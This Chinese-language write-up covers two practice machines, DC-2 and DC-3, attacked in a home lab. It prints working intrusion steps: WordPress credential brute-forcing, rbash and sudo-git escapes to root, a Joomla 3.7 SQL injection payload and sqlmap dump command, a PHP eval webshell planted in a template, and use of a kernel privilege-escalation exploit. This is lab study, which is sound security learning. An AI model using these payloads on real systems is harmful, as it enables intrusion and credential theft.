DC2-3wp

DC2-3靶机wp

前言

寒假主要主要想打打靶机准备下西普杯的比赛。先打几个简单的靶机熟悉下工具。

环境介绍

基本工具

  1. kail 10.211.55.18 使用Parallels
    • wpscan wordpress 信息收集,用户爆破
    • searchsploit linux提权脚本查询
    • hashcat 爆破密码hash值
    • metasploit 综合渗透框架
    • cewl 根据网页制作字典
  2. nmap 端口扫描,主机发现
  3. dirsearch 目录爆破
  4. antsword webshell客户端
  5. virtual box 主要用来安装靶机

靶机环境

  1. DC2
    • hostonly模式 192.168.56.105
    • wordpress 4.7.10
    • apache, Debina 8.10
  2. DC3
    • hostonly模式 192.168.56.106
    • Joomla 3.7
    • ubuntu 16.04

涉及的知识点

  1. nmap信息收集
  2. cewl 字典制作
  3. Joomla 3.7 sql注入
  4. Joomla template getshell
  5. rbash 逃逸
  6. linux提权 sudo su 和doubleput提权漏洞

实验过程

DC2

  1. 按照flag提示,使用cewl收集字典 wordlist.txt

  2. nmap -v -A 192.168.56.105 -p1-10000 采集端口信息 发现
    image.png
    发现ssh和web服务

  3. 尝试使用wpscan爆破账号密码,最后发现成功爆破两个用户

    Username: jerry, Password: adipiscing

    Username: tom, Password: parturient

    登录jerry flag2 提示尝试另外的突破点(ps:这里尝试打过wordpress cron upload的漏洞不过好像上传不了文件)

  4. 使用tom 同密码成功登录
    echo $SHELL 发现是rbash 尝试使用vi获取bash shell
    :set shell=/bin/bash :set shell
    检查/var/backups后发现没有可以读的备份密码 tom也不能使用sudo 故切换到jerry jerry密码也同样

  5. sudo -l 发现jerry可以git 故采用git获取rootshell
    脚本来源于 https://gtfobins.github.io/

    sudo git branch –help config
    !/bin/sh

    python -c ‘import pty;pty.spawn(“/bin/bash”)’
    image.png

DC3

  1. nmap -v -A 192.168.56.106 -p1-10000 采集端口信息 发现
    image.png

  2. dirsearch 发现 README.txt证明版本为3.7,证明有sql注入漏洞

    参考 https://paper.seebug.org/305/

    payload:

    1
    http://ip/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(2,concat(0x7e,(version())),0)
  3. 使用sqlmap

    sqlmap –url=’http://192.168.56.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*' -p ‘list[fullordering]’ -D joomladb -T ‘#__users’ –dump

    获得 账号 admin 密码 $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

    hashcat 爆破获得密码 snoopy

  4. 登录修改theme
    http://192.168.56.106/administrator/index.php?option=com_templates&view=template&id=503&file=L2luZGV4LnBocA%3D%3D

    修改beez3主题

    添加
    eval($_POST[1]);phpinfo();exit(1);

    访问http://192.168.56.106/templates/beez3/index.php

    image.png

    antsword连接shell

  5. 上传反弹shell,收集信息

    lsb_release -a

    Ubuntu 16.04 LTS

    uname -a

    4.4.0-21-generic #37

    需要注意的是这个靶机是32位,所以exploit需要x86的

    最后使用searchsploit 找到Ubuntu 16.04 doubleput漏洞,gcc编译最后提权。
    image.png

总结

这两台靶机比较简单,主要是涉及了一些工具的使用,顺带复习了一系列渗透的流程。主要卡的地方是提权的位置,这个部分需要加强。